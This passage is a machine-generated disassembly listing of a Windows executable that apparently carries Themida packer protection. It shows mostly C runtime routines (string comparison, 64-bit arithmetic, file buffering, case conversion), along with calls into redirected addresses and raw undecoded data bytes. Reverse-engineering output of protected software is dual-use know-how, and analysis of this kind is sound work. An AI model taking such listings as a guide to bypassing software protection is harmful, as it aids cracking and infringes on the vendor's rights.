word_4DB9B8 jnz short loc_41D0E6 mov eax, dword_4DB9B0 jmp short loc_41D12B ; --------------------------------------------------------------------------- loc_41D0E6: ; CODE XREF: sub_41D081+28j ; sub_41D081+35j ... lea eax, [ebp+var_CC] push eax nop call near ptr 2860000h cmp eax, 0FFFFFFFFh jz short loc_41D113 cmp eax, 2 jnz short loc_41D10F cmp [ebp+var_32], 0 jz short loc_41D10F cmp [ebp+var_24], 0 jz short loc_41D10F push 1 pop eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D10F: ; CODE XREF: sub_41D081+7Aj ; sub_41D081+81j ... xor eax, eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D113: ; CODE XREF: sub_41D081+75j or eax, 0FFFFFFFFh loc_41D116: ; CODE XREF: sub_41D081+8Cj ; sub_41D081+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_4DB9B8 movsd movsd movsd movsd pop edi mov dword_4DB9B0, eax pop esi loc_41D12B: ; CODE XREF: sub_41D081+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_422669 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_41D15B mov [ecx], eax locret_41D15B: ; CODE XREF: sub_41D081+D6j leave retn sub_41D081 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D160 proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_4DBA0C cmp dword ptr [eax+8], 0 jnz short loc_41D1B3 mov al, 0FFh mov edi, edi loc_41D17C: ; CODE XREF: sub_41D160+28j ; sub_41D160+48j or al, al jz short loc_41D1AE mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_41D17C sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_41D17C sbb al, al sbb al, 0FFh loc_41D1AE: ; CODE XREF: sub_41D160+1Ej movsx eax, al jmp short loc_41D1E7 ; --------------------------------------------------------------------------- loc_41D1B3: ; CODE XREF: sub_41D160+16j mov eax, 0FFh xor ebx, ebx mov edi, edi loc_41D1BC: ; CODE XREF: sub_41D160+68j ; sub_41D160+80j or al, al jz short loc_41D1E7 mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_41D1BC push eax push ebx call sub_41D74C mov ebx, eax add esp, 4 call sub_41D74C add esp, 4 cmp bl, al jz short loc_41D1BC sbb eax, eax sbb eax, 0FFFFFFFFh loc_41D1E7: ; CODE XREF: sub_41D160+51j ; sub_41D160+5Ej pop ebx pop esi pop edi leave retn sub_41D160 endp ; --------------------------------------------------------------------------- push esi mov esi, [esp+8] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_41D268 mov edi, [esp+14h] test edi, edi jz short loc_41D20B cmp edi, 1 jz short loc_41D20B cmp edi, 2 jnz short loc_41D268 loc_41D20B: ; CODE XREF: ___:0041D1FFj ; ___:0041D204j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_41D222 push esi call sub_4227C5 add [esp+14h], eax pop ecx xor edi, edi loc_41D222: ; CODE XREF: ___:0041D213j push esi call sub_41DB8B mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_41D237 and al, 0FCh mov [esi+0Ch], eax jmp short loc_41D24B ; --------------------------------------------------------------------------- loc_41D237: ; CODE XREF: ___:0041D22Ej test al, 1 jz short loc_41D24B test al, 8 jz short loc_41D24B test ah, 4 jnz short loc_41D24B mov dword ptr [esi+18h], 200h loc_41D24B: ; CODE XREF: ___:0041D235j ; ___:0041D239j ... push edi push dword ptr [esp+14h] push dword ptr [esi+10h] call sub_42272B add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_41D275 ; --------------------------------------------------------------------------- loc_41D268: ; CODE XREF: ___:0041D1F7j ; ___:0041D209j mov dword_4DB958, 16h or eax, 0FFFFFFFFh loc_41D275: ; CODE XREF: ___:0041D266j pop edi pop esi retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D280 proc near ; CODE XREF: sub_412B09+19Ep ; sub_41386C+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_41D299 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_41D299: ; CODE XREF: sub_41D280+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_41D280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D2B4 proc near ; CODE XREF: ___:004162E4p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_41D2D8 xor eax, eax jmp loc_41D3A5 ; --------------------------------------------------------------------------- loc_41D2D8: ; CODE XREF: sub_41D2B4+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41D2EB mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41D2F2 ; --------------------------------------------------------------------------- loc_41D2EB: ; CODE XREF: sub_41D2B4+2Dj mov [ebp+arg_C], 1000h loc_41D2F2: ; CODE XREF: sub_41D2B4+35j ; sub_41D2B4+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_41D326 mov eax, [esi+4] test eax, eax jz short loc_41D326 cmp ebx, eax mov edi, ebx jb short loc_41D30C mov edi, eax loc_41D30C: ; CODE XREF: sub_41D2B4+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_41C310 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_41D36C ; --------------------------------------------------------------------------- loc_41D326: ; CODE XREF: sub_41D2B4+47j ; sub_41D2B4+4Ej cmp ebx, [ebp+arg_C] jb short loc_41D371 test ecx, ecx jz short loc_41D33A push esi call sub_41DB8B test eax, eax pop ecx jnz short loc_41D3B3 loc_41D33A: ; CODE XREF: sub_41D2B4+79j cmp [ebp+arg_C], 0 jz short loc_41D34D mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41D34F ; --------------------------------------------------------------------------- loc_41D34D: ; CODE XREF: sub_41D2B4+8Aj mov edi, ebx loc_41D34F: ; CODE XREF: sub_41D2B4+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_42291D add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41D3AA add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_41D3AA loc_41D36C: ; CODE XREF: sub_41D2B4+70j mov edi, [ebp+var_4] jmp short loc_41D39A ; --------------------------------------------------------------------------- loc_41D371: ; CODE XREF: sub_41D2B4+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_41F58A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41D3B3 inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_41D39A mov [ebp+arg_C], 1 loc_41D39A: ; CODE XREF: sub_41D2B4+BBj ; sub_41D2B4+DDj test ebx, ebx jnz loc_41D2F2 mov eax, [ebp+arg_8] loc_41D3A5: ; CODE XREF: sub_41D2B4+1Fj ; sub_41D2B4+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41D3AA: ; CODE XREF: sub_41D2B4+ADj ; sub_41D2B4+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_41D3B5 ; --------------------------------------------------------------------------- loc_41D3B3: ; CODE XREF: sub_41D2B4+84j ; sub_41D2B4+CFj mov eax, edi loc_41D3B5: ; CODE XREF: sub_41D2B4+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_41D3A5 sub_41D2B4 endp ; =============== S U B R O U T I N E ======================================= sub_41D3BE proc near ; CODE XREF: sub_416909+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] nop call near ptr 2690000h cmp eax, 0FFFFFFFFh jnz short loc_41D3DE call near ptr 2680ABEh nop push eax call sub_4203DF pop ecx loc_41D3DA: ; CODE XREF: sub_41D3BE+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41D3DE: ; CODE XREF: sub_41D3BE+Dj test al, 1 jz short loc_41D3FF test [esp+arg_4], 2 jz short loc_41D3FF mov dword_4DB958, 0Dh mov dword_4DB95C, 5 jmp short loc_41D3DA ; --------------------------------------------------------------------------- loc_41D3FF: ; CODE XREF: sub_41D3BE+22j ; sub_41D3BE+29j xor eax, eax retn sub_41D3BE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D410 proc near ; CODE XREF: sub_416923+3Fp ; sub_41A98D+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_41D432 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_41D473 ; --------------------------------------------------------------------------- loc_41D432: ; CODE XREF: sub_41D410+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_41D440: ; CODE XREF: sub_41D410+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41D440 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41D46E cmp edx, [esp+8+arg_4] ja short loc_41D46E jb short loc_41D46F cmp eax, [esp+8+arg_0] jbe short loc_41D46F loc_41D46E: ; CODE XREF: sub_41D410+4Ej ; sub_41D410+54j dec esi loc_41D46F: ; CODE XREF: sub_41D410+56j ; sub_41D410+5Cj xor edx, edx mov eax, esi loc_41D473: ; CODE XREF: sub_41D410+20j pop esi pop ebx retn 10h sub_41D410 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D480 proc near ; CODE XREF: sub_416923+2Dp ; sub_41A98D+3Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_41D4A1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_41D4F1 ; --------------------------------------------------------------------------- loc_41D4A1: ; CODE XREF: sub_41D480+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41D4AF: ; CODE XREF: sub_41D480+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41D4AF div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41D4DA cmp edx, [esp+4+arg_4] ja short loc_41D4DA jb short loc_41D4E2 cmp eax, [esp+4+arg_0] jbe short loc_41D4E2 loc_41D4DA: ; CODE XREF: sub_41D480+4Aj ; sub_41D480+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_41D4E2: ; CODE XREF: sub_41D480+52j ; sub_41D480+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_41D4F1: ; CODE XREF: sub_41D480+1Fj pop ebx retn 10h sub_41D480 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D500 proc near ; CODE XREF: sub_416A33+5Fp ; sub_416A33+92p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_41D521 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_41D521: ; CODE XREF: sub_41D500+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41D53D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41D53D: ; CODE XREF: sub_41D500+27j or eax, eax jnz short loc_41D559 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41D59A ; --------------------------------------------------------------------------- loc_41D559: ; CODE XREF: sub_41D500+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_41D567: ; CODE XREF: sub_41D500+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_41D567 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_41D595 cmp edx, [esp+0Ch+arg_4] ja short loc_41D595 jb short loc_41D596 cmp eax, [esp+0Ch+arg_0] jbe short loc_41D596 loc_41D595: ; CODE XREF: sub_41D500+85j ; sub_41D500+8Bj dec esi loc_41D596: ; CODE XREF: sub_41D500+8Dj ; sub_41D500+93j xor edx, edx mov eax, esi loc_41D59A: ; CODE XREF: sub_41D500+57j dec edi jnz short loc_41D5A4 neg edx neg eax sbb edx, 0 loc_41D5A4: ; CODE XREF: sub_41D500+9Bj pop ebx pop esi pop edi retn 10h sub_41D500 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D5AA proc near ; CODE XREF: sub_4170ED+BFp ; sub_4170ED+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4DBA14 push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_41D5DE mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_41D645 loc_41D5C6: ; CODE XREF: sub_41D5AA+30j mov cl, [edx] cmp cl, 61h jl short loc_41D5D7 cmp cl, 7Ah jg short loc_41D5D7 sub cl, 20h mov [edx], cl loc_41D5D7: ; CODE XREF: sub_41D5AA+21j ; sub_41D5AA+26j inc edx cmp [edx], bl jnz short loc_41D5C6 jmp short loc_41D645 ; --------------------------------------------------------------------------- loc_41D5DE: ; CODE XREF: sub_41D5AA+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_422ACA mov edi, eax add esp, 20h cmp edi, ebx jz short loc_41D637 push edi call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_41D637 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_4DBA14 call sub_422ACA add esp, 20h test eax, eax jz short loc_41D637 push [ebp+var_4] push [ebp+arg_0] call sub_41BEB0 pop ecx pop ecx loc_41D637: ; CODE XREF: sub_41D5AA+53j ; sub_41D5AA+61j ... push [ebp+var_4] call sub_41B0B1 mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_41D645: ; CODE XREF: sub_41D5AA+1Aj ; sub_41D5AA+32j pop ebx leave retn sub_41D5AA endp ; =============== S U B R O U T I N E ======================================= sub_41D648 proc near ; CODE XREF: sub_417ADE+1A8p arg_0 = dword ptr 4 cmp dword_43CBE4, 1 jle short loc_41D65F push 4 push [esp+4+arg_0] call sub_41F515 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41D65F: ; CODE XREF: sub_41D648+7j mov eax, [esp+arg_0] mov ecx, off_43C9D8 mov al, [ecx+eax*2] and eax, 4 retn sub_41D648 endp ; =============== S U B R O U T I N E ======================================= sub_41D670 proc near ; CODE XREF: sub_420510+76p ; sub_420510+88p ... arg_0 = dword ptr 4 cmp dword_43CBE4, 1 jle short loc_41D687 push 8 push [esp+4+arg_0] call sub_41F515 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41D687: ; CODE XREF: sub_41D670+7j mov eax, [esp+arg_0] mov ecx, off_43C9D8 mov al, [ecx+eax*2] and eax, 8 retn sub_41D670 endp ; --------------------------------------------------------------------------- align 10h mov eax, [esp+0Ch] test eax, eax jz short locret_41D6EC mov edx, [esp+4] push esi push edi mov esi, edx mov edi, [esp+10h] or edx, edi and edx, 3 jz short loc_41D6ED test eax, 1 jz short loc_41D6CD mov cl, [esi] cmp cl, [edi] jnz short loc_41D71A inc esi inc edi dec eax jz short loc_41D6EA loc_41D6CD: ; CODE XREF: ___:0041D6C0j ; ___:0041D6E8j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41D71A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41D71A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41D6CD loc_41D6EA: ; CODE XREF: ___:0041D6CBj ; ___:0041D724j pop edi pop esi locret_41D6EC: ; CODE XREF: ___:0041D6A6j retn ; --------------------------------------------------------------------------- loc_41D6ED: ; CODE XREF: ___:0041D6B9j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41D722 repe cmpsd jz short loc_41D722 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41D715 cmp ch, dh jnz short loc_41D715 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41D715 cmp ch, dh loc_41D715: ; CODE XREF: ___:0041D703j ; ___:0041D707j ... mov eax, 0 loc_41D71A: ; CODE XREF: ___:0041D6C6j ; ___:0041D6D3j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41D722: ; CODE XREF: ___:0041D6F5j ; ___:0041D6F9j test eax, eax jz short loc_41D6EA mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41D715 dec eax jz short loc_41D749 cmp dh, ch jnz short loc_41D715 dec eax jz short loc_41D749 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41D715 dec eax loc_41D749: ; CODE XREF: ___:0041D72Fj ; ___:0041D736j pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D74C proc near ; CODE XREF: sub_418069+6p ; sub_418087+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DBA14, 0 push ebx push esi push edi jnz short loc_41D779 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_41D812 cmp eax, 5Ah jg loc_41D812 add eax, 20h jmp loc_41D812 ; --------------------------------------------------------------------------- loc_41D779: ; CODE XREF: sub_41D74C+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_41D7AD cmp dword_43CBE4, esi jle short loc_41D79B push esi push ebx call sub_41F515 pop ecx pop ecx jmp short loc_41D7A5 ; --------------------------------------------------------------------------- loc_41D79B: ; CODE XREF: sub_41D74C+42j mov eax, off_43C9D8 mov al, [eax+ebx*2] and eax, esi loc_41D7A5: ; CODE XREF: sub_41D74C+4Dj test eax, eax jnz short loc_41D7AD loc_41D7A9: ; CODE XREF: sub_41D74C+ADj mov eax, ebx jmp short loc_41D812 ; --------------------------------------------------------------------------- loc_41D7AD: ; CODE XREF: sub_41D74C+3Aj ; sub_41D74C+5Bj mov edx, off_43C9D8 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41D7D1 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41D7DA ; --------------------------------------------------------------------------- loc_41D7D1: ; CODE XREF: sub_41D74C+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41D7DA: ; CODE XREF: sub_41D74C+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi loc_41D7E9: ; DATA XREF: Themida_:00558BDCo push dword_4DBA14 call sub_422ACA add esp, 20h test eax, eax jz short loc_41D7A9 cmp eax, esi jnz short loc_41D805 movzx eax, [ebp+var_4] jmp short loc_41D812 ; --------------------------------------------------------------------------- loc_41D805: ; CODE XREF: sub_41D74C+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41D812: ; CODE XREF: sub_41D74C+16j ; sub_41D74C+1Fj ... pop edi pop esi pop ebx leave retn sub_41D74C endp ; =============== S U B R O U T I N E ======================================= sub_41D817 proc near ; CODE XREF: sub_4185A5+ADp ; sub_419594+55p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_41D82E loc_41D824: ; CODE XREF: sub_41D817+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_41D824 loc_41D82E: ; CODE XREF: sub_41D817+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41D817 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D834 proc near ; CODE XREF: sub_4185A5+7Fp ; sub_4185A5+90p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_41D901 mov edi, [ebp+arg_8] cmp edi, esi jz loc_41D92E cmp dword_4DBA14, esi jnz short loc_41D885 cmp edi, esi jbe loc_41D92E loc_41D864: ; CODE XREF: sub_41D834+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_41D92E inc eax inc edx inc edx cmp eax, edi jb short loc_41D864 jmp loc_41D92E ; --------------------------------------------------------------------------- loc_41D885: ; CODE XREF: sub_41D834+26j mov ebx, [ebp+arg_4] mov esi, dword_427180 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_4DBA24 call esi test eax, eax jnz loc_41D92D call near ptr 2680ABEh nop cmp eax, 7Ah jz short loc_41D8BF loc_41D8B0: ; CODE XREF: sub_41D834+CBj ; sub_41D834+F7j mov dword_4DB958, 2Ah or eax, 0FFFFFFFFh jmp short loc_41D92E ; --------------------------------------------------------------------------- loc_41D8BF: ; CODE XREF: sub_41D834+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_41D8C7: ; CODE XREF: sub_41D834+B3j mov cl, [eax] test cl, cl jz short loc_41D8E9 mov edx, off_43C9D8 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_41D8DE inc eax loc_41D8DE: ; CODE XREF: sub_41D834+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_41D8C7 loc_41D8E9: ; CODE XREF: sub_41D834+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_4DBA24 call esi test eax, eax jnz short loc_41D92E jmp short loc_41D8B0 ; --------------------------------------------------------------------------- loc_41D901: ; CODE XREF: sub_41D834+Fj cmp dword_4DBA14, esi jnz short loc_41D914 push [ebp+arg_4] call sub_41AFE0 pop ecx jmp short loc_41D92E ; --------------------------------------------------------------------------- loc_41D914: ; CODE XREF: sub_41D834+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_4DBA24 nop call near ptr 2810000h cmp eax, esi jz short loc_41D8B0 loc_41D92D: ; CODE XREF: sub_41D834+6Bj dec eax loc_41D92E: ; CODE XREF: sub_41D834+1Aj ; sub_41D834+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_41D834 endp ; --------------------------------------------------------------------------- db 16h dd 63DCAAFDh, 0F85F9AC8h, 5EDBB0ABh, 0A1647E07h, 0 dd 25896450h, 0 dd 5358EC83h, 65895756h, 41A6E8E8h, 33900246h, 89D48AD2h dd 4DB97015h, 81C88B00h, 0FFE1h, 6C0D8900h, 0C1004DB9h dd 0CA0308E1h, 0B9680D89h, 0E8C1004Dh, 0B964A310h, 0F633004Dh dd 440E856h, 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h dd 5BE8FC75h, 0E8000059h, 246412Eh, 0CFECA390h, 19E8004Dh dd 0A3000058h, 4DB9C8h, 55C2E8h, 5504E800h, 0B9E80000h dd 89FFFFDDh, 458DD075h, 0E89050A4h, 2462628h, 5495E8h dd 9C458900h, 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah dd 569C75FFh, 2BE89056h, 50022727h, 0FE3820E8h, 0A04589FFh dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h, 0D3E85150h dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h db 0FFh ; =============== S U B R O U T I N E ======================================= sub_41DA29 proc near ; CODE XREF: sub_41D052+16p ; ___:00422F18p ... arg_0 = dword ptr 4 cmp dword_4DB9D0, 1 jnz short loc_41DA37 call sub_423590 loc_41DA37: ; CODE XREF: sub_41DA29+7j push [esp+arg_0] call sub_4235C9 push 0FFh call off_43A9A0 pop ecx pop ecx retn sub_41DA29 endp ; --------------------------------------------------------------------------- dw 3D83h dd offset dword_4DB9D0 dd 0E8057501h, 5B34h, 42474FFh, 5B64E8h, 0FF685900h, 90000000h dd 0A58244E8h db 77h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41DA72 proc near ; CODE XREF: sub_41B05B+2Ap ; sub_423A33+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_4DCDA0 jnb loc_41DB0C mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:4DCCA0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41DB0C push edi call sub_4238A2 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DAEB cmp edi, 1 jz short loc_41DAB9 cmp edi, 2 jnz short loc_41DACF loc_41DAB9: ; CODE XREF: sub_41DA72+40j push 2 call sub_4238A2 push 1 mov ebp, eax call sub_4238A2 pop ecx cmp eax, ebp pop ecx jz short loc_41DAEB loc_41DACF: ; CODE XREF: sub_41DA72+45j push edi call sub_4238A2 pop ecx push eax nop call near ptr 2660919h test eax, eax jnz short loc_41DAEB call near ptr 2680ABEh nop mov ebp, eax jmp short loc_41DAED ; --------------------------------------------------------------------------- loc_41DAEB: ; CODE XREF: sub_41DA72+3Bj ; sub_41DA72+5Bj ... xor ebp, ebp loc_41DAED: ; CODE XREF: sub_41DA72+77j push edi call sub_423828 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41DB08 push ebp call sub_4203DF pop ecx jmp short loc_41DB1D ; --------------------------------------------------------------------------- loc_41DB08: ; CODE XREF: sub_41DA72+8Bj xor eax, eax jmp short loc_41DB20 ; --------------------------------------------------------------------------- loc_41DB0C: ; CODE XREF: sub_41DA72+Ej ; sub_41DA72+2Fj and dword_4DB95C, 0 mov dword_4DB958, 9 loc_41DB1D: ; CODE XREF: sub_41DA72+94j or eax, 0FFFFFFFFh loc_41DB20: ; CODE XREF: sub_41DA72+98j pop edi pop esi pop ebp pop ebx retn sub_41DA72 endp ; =============== S U B R O U T I N E ======================================= sub_41DB25 proc near ; CODE XREF: sub_41B05B+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41DB4E test al, 8 jz short loc_41DB4E push dword ptr [esi+8] call sub_41B0B1 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41DB4E: ; CODE XREF: sub_41DB25+Aj ; sub_41DB25+Ej pop esi retn sub_41DB25 endp ; =============== S U B R O U T I N E ======================================= sub_41DB50 proc near ; CODE XREF: sub_41DBF0+2Dp ; sub_41DBF0+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41DB62 push esi call sub_41DBF0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41DB62: ; CODE XREF: sub_41DB50+7j push esi call sub_41DB8B test eax, eax pop ecx jz short loc_41DB72 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41DB72: ; CODE XREF: sub_41DB50+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41DB87 push dword ptr [esi+10h] call sub_4238DF neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- 